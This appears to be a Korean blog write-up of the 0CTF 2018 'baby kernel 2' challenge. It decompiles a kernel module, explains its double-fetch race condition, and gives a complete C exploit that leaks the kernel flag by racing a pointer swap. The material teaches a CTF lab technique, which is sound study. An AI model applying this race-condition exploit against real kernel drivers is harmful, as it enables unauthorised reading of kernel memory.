[0CTF 2018] baby kernel 2(kernel exploit, double fetch, race condition)
$ binwalk core.cpio
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", file size: "0x00000000"
112 0x70 ASCII cpio archive (SVR4 with no CRC), file name: "init", file name length: "0x00000005", file size: "0x00000199"
640 0x280 ASCII cpio archive (SVR4 with no CRC), file name: "lib", file name length: "0x00000004", file size: "0x00000000"
756 0x2F4 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules", file name length: "0x0000000C", file size: "0x00000000"
880 0x370 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules/4.4.72", file name length: "0x00000013", file size: "0x00000000"
1012 0x3F4 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules/4.4.72/babydriver.ko", file name length: "0x00000021", file size: "0x00031C10"
204948 0x32094 ASCII cpio archive (SVR4 with no CRC), file name: "core.cpio", file name length: "0x0000000A", file size: "0x0039A200"
[...]
$ md core
$ cp core.cpio core
$ cd core
$ cpio -id -v < core.cpio .
$ ls
baby.ko
bin
core.cpio
etc
home
init
lib
linuxrc
proc
sbin
sys
tmp
usr
루트 경로에서 커널 모듈인 baby.ko를 확인할 수 있다.
$ binwalk baby.ko DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV)
baby.ko는 x86_64 64bit ELF 파일로, IDA로 디컴파일하여 코드 분석을 진행해보아야 한다.
qemu-system-x86_64
\ -m 256M -smp 2,cores=2,threads=1
\ -kernel ./vmlinuz-4.15.0-22-generic
\ -initrd ./core.cpio
\ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet"
\ -cpu qemu64
\ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0
\ -nographic -enable-kvm
\
baby.ko 파일을 IDA로 디컴파일 시, __chk_range_not_ok, baby_ioctl, init_module, cleanup_module 함수를 확인할 수 있다.
__int64 init_module()
{
_fentry__();
misc_register(&baby);
return 0LL;
}
__int64 cleanup_module()
{
return misc_deregister(&baby);
}
signed __int64 __fastcall baby_ioctl(__int64 a1, int a2)
{
__int64 v2; // rdx - 3번째 인자
signed __int64 result; // rax
int i; // [rsp-5Ch] [rbp-5Ch]
__int64 v5; // [rsp-58h] [rbp-58h]
_fentry__();
v5 = v2;
if ( a2 == 0x6666 )
{
printk("Your flag is at %px! But I don't think you know it's content\\n", flag);
result = 0LL;
}
else if ( a2 == 0x1337
&& !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& !_chk_range_not_ok(
*(_QWORD *)v5,
*(signed int *)(v5 + 8),
*(_QWORD *)(__readgsqword((unsigned __int64)¤t_task) + 4952))
&& *(_DWORD *)(v5 + 8) == strlen(flag) )
{
for ( i = 0; i < strlen(flag); ++i )
{
if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
return 22LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\\n", flag);
result = 0LL;
}
else
{
result = 14LL;
}
return result;
}
.data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r .data:0000000000000480 ; baby_ioctl+DB↑r ... .data:0000000000000480
bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int8 v3; // cf
unsigned __int64 v4; // rdi
bool result; // al
v3 = __CFADD__(a2, a1);
v4 = a2 + a1;
if ( v3 )
result = 1;
else
result = a3 < v4;
return result;
}
baby_ioctl 함수에서 else if 조건문 내부로 들어가려면 입력값의 주소가 userland 주소이어야 한다.
하지만 else if문 내부에서 flag 출력 조건을 만족하려면, 입력 주소는 flag 주소이어야 한다.
addr 필드 값으로 userland 주소를 줘서 조건문을 통과한 후, 쓰레드 함수를 통해 입력값의 주소를 flag 주소로 바꿔서 flag 출력 조건을 만족시킬 수 있다. (race condition)
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h> // exit()
#include <sys/ioctl.h> // ioctl()
#include <string.h> // strstr()
#include <unistd.h> // read()
#include <pthread.h> // pthread
int end = 0;
unsigned long long flag_addr;
struct input
{
char *addr;
size_t len;
};
void change_addr(void *input)
{
struct input *in = input;
while(end == 0) // end == 1이면 종료
{
in->addr = flag_addr;
}
}
int main()
{
int fd, fd2;
char *flag, *index;
char buf[0x100]={0};
int ret;
struct input in;
pthread_t thread;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
fd = open("/dev/baby", O_RDWR);
// cmd == 0x666: get flag addr
ioctl(fd, 0x6666);
system("dmesg | grep flag > /tmp/msg");
fd2 = open("/tmp/msg", O_RDONLY);
read(fd2, buf, 0x100-1);
close(fd2);
index = strstr(buf, "Your flag is at ");
if(index)
{
index += 0x10; // flag 위치
flag_addr = strtoull(index, index+0x10, 0x10);
printf("[+] flag addr: %p\\n", flag_addr);
}else{
puts("[-] flag addr not found.");
exit(0);
}
// cmd == 0x1337: 조건문 통과 위해 len을 33(실제 플래그 길이), addr을 임의의 스택 주소(userland)로 설정
in.addr = buf;
in.len = 0x21;
// 쓰레드 생성. else if 내부로 들어가서 플래그 출력 위해 t.addr을 실제 flag 주소로 변경
pthread_create(&thread, NULL, &change_addr, &in);
while(1)
{
ret = ioctl(fd, 0x1337, &in);
if(!ret)
{
end = 1;
break;
}
// else if 조건문 만족 위해 ioctl 호출 전 스택 주소로 바꿔준다.
in.addr = buf;
}
// 쓰레드 종료를 기다린다.
pthread_join(thread, NULL);
close(fd);
// flag 출력
system("dmesg | grep flag");
return 0;
}
$ gcc -static -o exploit exploit.c -pthread # exploit code compile
$ cp exploit core/home/ctf # add exploit code
$ cd core
$ find . | cpio -o --format=newc | gzip > core.cpio # create file system
$ ..
$ ./run.sh
ctf-challenge/2018 0CTF Finals Baby Kernel at master · cc-sir/ctf-challenge
[0ctf 2019] babykernel2
ctf-challenges/pwn/kernel/0CTF2018-baby at master · ctf-wiki/ctf-challenges
Misc 디바이스 드라이버1
C언어: 쓰레드 pthread_create() 예제 - 쓰레드 생성 기본
[angr] fauxware (0) | 2022.05.09 |
---|---|
[QWBCTF 2018] core writeup (kernel exploit) (0) | 2022.03.22 |
[CISCN CTF 2017] babydriver (kernel exploit, kUAF) (0) | 2021.11.11 |
[BISC CTF 2020] 2048 (0) | 2021.01.02 |
[BISC CTF 2020] oldschool (0) | 2021.01.01 |